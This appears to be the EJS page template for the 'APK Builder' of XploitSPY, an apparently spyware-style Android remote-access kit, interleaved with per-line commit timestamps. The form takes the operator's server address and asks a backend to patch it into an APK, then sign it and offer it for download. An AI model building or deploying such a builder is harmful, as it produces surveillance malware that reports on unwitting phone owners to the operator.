2020-01-11 23:35:37 +08:00
<!DOCTYPE html>
2020-04-23 14:28:58 +08:00
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
2020-01-11 23:35:37 +08:00
<html>
2020-04-23 14:28:58 +08:00
<% include partials/head.ejs %>
2020-01-11 23:35:37 +08:00
2020-04-23 14:28:58 +08:00
<body>
<div class="ui container">
<% include partials/header.ejs %> <% include partials/disclaimer.ejs %>
<div class="ui segment">
<div id="dimmer" class="ui dimmer">
<div class="ui indeterminate text loader" id="loadingText">Submitting</div>
</div>
2020-01-11 23:35:37 +08:00
2020-04-23 14:28:58 +08:00
<h1 class="ui" style="text-align: center;">APK Builder</h1>
<div class="ui form" id="form">
<div class="inline fields">
<div class="six wide field">
<div class="ui labeled input">
<div class="ui label">
http://
</div>
<input
type="text"
id="uriInput"
placeholder="IP / Public URL"
title="This is the public url of your server (domain.com)"
/>
</div>
</div>
<!-- <div class="two wide field">
2020-01-11 23:35:37 +08:00
<label>:</label>
<input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>">
2020-02-22 16:22:32 +08:00
</div> -->
2020-04-23 14:28:58 +08:00
</div>
<div class="inline fields">
<div class="eight wide field">
<button id="gobuild" class="positive ui fluid button"><i class="wrench icon"></i>Build</button>
</div>
</div>
</div>
2020-01-11 23:35:37 +08:00
2020-04-23 14:28:58 +08:00
<div class="ui form" id="download" style="display: none;">
<div class="inline fields">
<div class="eight wide field">
<a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"
><i class="download icon"></i>Download</a
>
</div>
</div>
</div>
</div>
</div>
<style>
.inline.fields {
justify-content: center;
}
</style>
2020-02-22 15:59:26 +08:00
2020-04-23 14:28:58 +08:00
<script>
var loadingTexts = [
'Decompiling APK',
'Patching Server Information',
'Compiling APK',
'Signing APK',
'Verifying Build',
'Finalizing',
];
2020-01-11 23:35:37 +08:00
2020-04-23 14:28:58 +08:00
document.getElementById('uriInput').value = window.location.hostname;
2020-01-11 23:35:37 +08:00
2020-04-23 14:28:58 +08:00
var loadingIndex = 0;
var isDone = false;
$('#gobuild').click((e) => {
$('#dimmer').addClass('active');
build($('#uriInput').val(), '80');
setTimeout(loaderText, 500);
});
function loaderText() {
var nextTimeout = Math.floor(Math.random() * 1500) + 700;
if (loadingIndex < loadingTexts.length) $('#loadingText').text(loadingTexts[loadingIndex++]);
2020-04-23 15:40:31 +08:00
if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout);
2020-04-23 14:28:58 +08:00
else if (loadingIndex === loadingTexts.length && !isDone) setTimeout(loaderText, 300);
else
while (isDone) {
isDone = false;
$('#dimmer').fadeOut(500, () => {
$('#download').removeClass('active');
});
$('#form').fadeOut(500, () => {
$('#download').fadeIn(200);
});
}
}
2020-01-11 23:35:37 +08:00
2020-04-23 14:28:58 +08:00
const build = async (URI, PORT) => {
let data = await $.post('/builder?uri=' + URI + '&port=' + PORT);
if (!data.error) isDone = true;
else showNotification('#f03434', data.error);
};
</script>
<% include partials/footer.ejs %>
</body>
2020-01-12 00:23:10 +08:00
</html>